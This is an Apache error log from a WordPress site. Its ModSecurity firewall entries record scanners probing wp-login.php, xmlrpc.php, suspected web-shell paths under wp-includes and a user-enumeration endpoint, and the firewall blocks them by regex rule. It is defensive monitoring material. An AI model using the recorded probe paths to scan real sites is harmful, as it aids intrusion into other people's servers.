[Sun Jan 11 21:33:53.177925 2026] [:error] [pid 5155:tid 5240] [client 4.241.208.191:1997] [client 4.241.208.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.241.208.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWOmwVgEKFpNs0_zLGkpsQAAAJg"], referer: https://www.google.fr/
[Sun Jan 11 21:33:59.936802 2026] [:error] [pid 35977:tid 35990] [client 4.241.208.191:2018] [client 4.241.208.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/about.php"] [unique_id "aWOmx7DST5RMqStLeP2EfgAAAgo"], referer: https://duckduckgo.com/
[Sun Jan 11 21:34:01.695975 2026] [autoindex:error] [pid 5153:tid 5198] [client 4.241.208.191:2008] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Jan 11 21:34:01.815040 2026] [autoindex:error] [pid 5153:tid 5195] [client 4.241.208.191:2008] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Jan 11 21:34:01.938975 2026] [autoindex:error] [pid 5153:tid 5204] [client 4.241.208.191:2008] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Jan 11 21:34:02.058236 2026] [autoindex:error] [pid 5153:tid 5203] [client 4.241.208.191:2008] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Jan 11 21:34:02.176405 2026] [autoindex:error] [pid 5153:tid 5190] [client 4.241.208.191:2008] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Jan 11 21:34:04.982607 2026] [:error] [pid 5153:tid 5189] [client 4.241.208.191:2008] [client 4.241.208.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aWOmzM1QbNSPD9bRi77RtQAAAEA"], referer: https://www.google.co.uk/
[Sun Jan 11 21:34:05.210059 2026] [:error] [pid 11748:tid 11785] [client 4.241.208.191:1986] [client 4.241.208.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aWOmzQC5xybrWOCNnoYJowAAAYc"], referer: https://www.google.de/
[Sun Jan 11 21:34:06.989689 2026] [autoindex:error] [pid 11748:tid 11782] [client 4.241.208.191:1931] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Jan 11 21:34:11.004600 2026] [:error] [pid 5272:tid 5296] [client 4.241.208.191:1935] [client 4.241.208.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.241.208.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWOm01p55bCsukUvYGaAKQAAANY"], referer: https://duckduckgo.com/
[Sun Jan 11 21:34:22.351264 2026] [autoindex:error] [pid 11748:tid 11797] [client 4.241.208.191:1931] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Jan 11 21:34:22.468889 2026] [:error] [pid 11748:tid 11786] [client 4.241.208.191:1931] [client 4.241.208.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/cropper.php"] [unique_id "aWOm3gC5xybrWOCNnoYJvAAAAYg"], referer: https://www.bing.com/
[Sun Jan 11 21:34:22.695676 2026] [:error] [pid 11747:tid 11760] [client 4.241.208.191:2020] [client 4.241.208.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/thickbox/thickbox.php"] [unique_id "aWOm3qRFw84LNpZSk7nqEAAAAUk"], referer: https://duckduckgo.com/
[Sun Jan 11 21:34:22.961748 2026] [autoindex:error] [pid 11747:tid 11761] [client 4.241.208.191:2010] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/thickbox/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Jan 11 21:34:23.082381 2026] [:error] [pid 11747:tid 11770] [client 4.241.208.191:2010] [client 4.241.208.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aWOm36RFw84LNpZSk7nqEgAAAVM"], referer: https://www.yahoo.com/
[Sun Jan 11 21:34:23.341565 2026] [autoindex:error] [pid 35730:tid 35750] [client 4.241.208.191:1933] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Jan 11 23:44:11.387039 2026] [:error] [pid 5152:tid 5172] [client 38.183.9.130:52671] [client 38.183.9.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.183.9.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPFSxm0axGMFrpuXHC05QAAAAo"]
[Mon Jan 12 00:11:18.276676 2026] [:error] [pid 5152:tid 5170] [client 34.75.22.126:61752] [client 34.75.22.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.22.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPLphm0axGMFrpuXHC44gAAAAg"]
[Mon Jan 12 00:11:21.799615 2026] [:error] [pid 5152:tid 5164] [client 34.75.22.126:61752] [client 34.75.22.126] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWPLqRm0axGMFrpuXHC46gAAAAI"]
[Mon Jan 12 00:11:23.536308 2026] [:error] [pid 5152:tid 5163] [client 34.75.22.126:61752] [client 34.75.22.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.22.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPLqxm0axGMFrpuXHC47QAAAAE"]
[Mon Jan 12 00:11:25.794771 2026] [:error] [pid 5153:tid 5206] [client 34.75.22.126:53322] [client 34.75.22.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.22.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPLrc1QbNSPD9bRi77i3gAAAFE"]
[Mon Jan 12 00:11:27.883996 2026] [:error] [pid 5153:tid 5204] [client 34.75.22.126:55933] [client 34.75.22.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.22.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPLr81QbNSPD9bRi77i4AAAAE8"]
[Mon Jan 12 00:11:30.022737 2026] [:error] [pid 35730:tid 35745] [client 34.75.22.126:50190] [client 34.75.22.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.22.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPLsji7U_mfHtESQHmCGwAAAc0"]
[Mon Jan 12 00:11:32.127635 2026] [:error] [pid 11748:tid 11787] [client 34.75.22.126:53004] [client 34.75.22.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.22.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPLtAC5xybrWOCNnoYctQAAAYk"]
[Mon Jan 12 00:11:32.127791 2026] [:error] [pid 11748:tid 11787] [client 34.75.22.126:53004] [client 34.75.22.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.75.22.126, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPLtAC5xybrWOCNnoYctQAAAYk"]
[Mon Jan 12 00:25:32.523186 2026] [:error] [pid 35977:tid 35998] [client 74.50.73.178:38435] [client 74.50.73.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWPO_LDST5RMqStLeP2bEgAAAhI"]
[Mon Jan 12 00:33:21.462670 2026] [:error] [pid 5152:tid 5181] [client 85.14.178.45:46064] [client 85.14.178.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.14.178.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPQ0Rm0axGMFrpuXHC97AAAABM"]
[Mon Jan 12 01:22:36.294920 2026] [:error] [pid 5272:tid 5281] [client 148.113.204.52:38234] [client 148.113.204.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.204.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPcXFp55bCsukUvYGajWAAAAMc"]
[Mon Jan 12 01:27:15.702792 2026] [:error] [pid 5153:tid 5196] [client 43.173.1.57:59480] [client 43.173.1.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWPdc81QbNSPD9bRi77wxAAAAEc"]
[Mon Jan 12 01:49:00.726131 2026] [:error] [pid 5153:tid 5203] [client 72.167.68.137:37632] [client 72.167.68.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.167.68.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPijM1QbNSPD9bRi770ggAAAE4"]
[Mon Jan 12 01:49:20.711681 2026] [:error] [pid 60999:tid 61003] [client 213.132.222.51:59240] [client 213.132.222.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.132.222.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPioFqLNvGnTVjR-ZVv7AAAAoI"]
[Mon Jan 12 02:10:13.429610 2026] [:error] [pid 55541:tid 55619] [client 82.65.178.212:42480] [client 82.65.178.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.65.178.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPnhcfkoYofAPYb0XYTJQAAAQc"]
[Mon Jan 12 02:33:10.284504 2026] [:error] [pid 5152:tid 5176] [client 185.252.223.23:60959] [client 185.252.223.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.252.223.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWPs5hm0axGMFrpuXHDK9AAAAA4"]
[Mon Jan 12 02:56:09.311409 2026] [:error] [pid 35730:tid 35741] [client 92.63.174.165:33778] [client 92.63.174.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.63.174.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWPySTi7U_mfHtESQHmURgAAAck"]
[Mon Jan 12 03:39:37.645950 2026] [:error] [pid 48213:tid 48239] [client 161.97.166.122:38976] [client 161.97.166.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.166.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWP8eWRmaItaLCBvAhgFNwAAANg"]
[Mon Jan 12 05:13:13.963886 2026] [:error] [pid 48213:tid 48226] [client 45.77.218.25:35974] [client 45.77.218.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.77.218.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWQSaWRmaItaLCBvAhgpaQAAAMs"]
[Mon Jan 12 06:20:12.257914 2026] [:error] [pid 48213:tid 48238] [client 195.201.83.173:54984] [client 195.201.83.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.201.83.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWQiHGRmaItaLCBvAhhDbQAAANc"]
[Mon Jan 12 14:18:03.916343 2026] [:error] [pid 48213:tid 48236] [client 104.28.246.114:63559] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aWSSG2RmaItaLCBvAhjKJwAAANU"]
[Mon Jan 12 14:58:38.167802 2026] [:error] [pid 48213:tid 48217] [client 43.153.119.119:43728] [client 43.153.119.119] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWSbnmRmaItaLCBvAhjPOwAAAMI"]
[Mon Jan 12 15:57:38.032226 2026] [:error] [pid 9303:tid 9327] [client 163.223.13.96:58122] [client 163.223.13.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.13.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWSpctEoWhpeQ69gVtG3fAAAAVU"]
[Mon Jan 12 16:08:49.902682 2026] [:error] [pid 48213:tid 48235] [client 31.172.83.222:34634] [client 31.172.83.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.172.83.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWSsEWRmaItaLCBvAhjZawAAANQ"]
[Mon Jan 12 17:07:19.811231 2026] [:error] [pid 51986:tid 52030] [client 35.240.113.8:47362] [client 35.240.113.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.240.113.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWS5xxiI5CoFGIbwGZZPNgAAA08"]
[Mon Jan 12 17:07:22.564316 2026] [:error] [pid 51863:tid 51872] [client 35.240.113.8:47370] [client 35.240.113.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.240.113.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWS5yj2-QXSEuiZdYYZVYgAAAgU"]
[Mon Jan 12 17:07:24.921041 2026] [:error] [pid 51956:tid 51981] [client 35.240.113.8:55760] [client 35.240.113.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.240.113.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWS5zEb_j3zpZfEgGM8N0AAAAtc"]
[Mon Jan 12 17:08:01.865655 2026] [:error] [pid 9303:tid 9313] [client 198.38.83.12:62793] [client 198.38.83.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.38.83.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWS58dEoWhpeQ69gVtHEvwAAAUc"]
[Mon Jan 12 17:08:04.517106 2026] [:error] [pid 51897:tid 51942] [client 198.38.83.12:62960] [client 198.38.83.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.38.83.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWS59NwDOJmYnFxYfDXjeAAAApA"]
[Mon Jan 12 17:08:06.850718 2026] [:error] [pid 51637:tid 51662] [client 198.38.83.12:63140] [client 198.38.83.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.38.83.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWS59nrTvTmO_ovDgVCh9wAAAZM"]
[Mon Jan 12 18:07:47.657323 2026] [:error] [pid 9303:tid 9317] [client 179.43.191.19:53168] [client 179.43.191.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.43.191.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWTH89EoWhpeQ69gVtHRHQAAAUs"], referer: gigfragments.org
[Mon Jan 12 18:07:47.659298 2026] [:error] [pid 9303:tid 9317] [client 179.43.191.19:53168] [client 179.43.191.19] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWTH89EoWhpeQ69gVtHRHQAAAUs"], referer: gigfragments.org
[Mon Jan 12 19:44:38.106687 2026] [:error] [pid 51986:tid 52037] [client 184.168.119.169:57704] [client 184.168.119.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.119.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWTephiI5CoFGIbwGZZmiQAAA1Y"]
[Mon Jan 12 19:58:30.905274 2026] [:error] [pid 9303:tid 9330] [client 91.107.124.38:43096] [client 91.107.124.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.107.124.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWTh5tEoWhpeQ69gVtHpBQAAAVg"]
[Mon Jan 12 20:01:22.263607 2026] [:error] [pid 48106:tid 48167] [client 113.22.137.244:53374] [client 113.22.137.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.22.137.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWTiku_rz8jTZY4aXpR0MgAAAIA"]
[Mon Jan 12 20:05:17.616899 2026] [:error] [pid 51637:tid 51651] [client 167.172.235.216:57920] [client 167.172.235.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aWTjfXrTvTmO_ovDgVDQvQAAAYg"], referer: binance.com
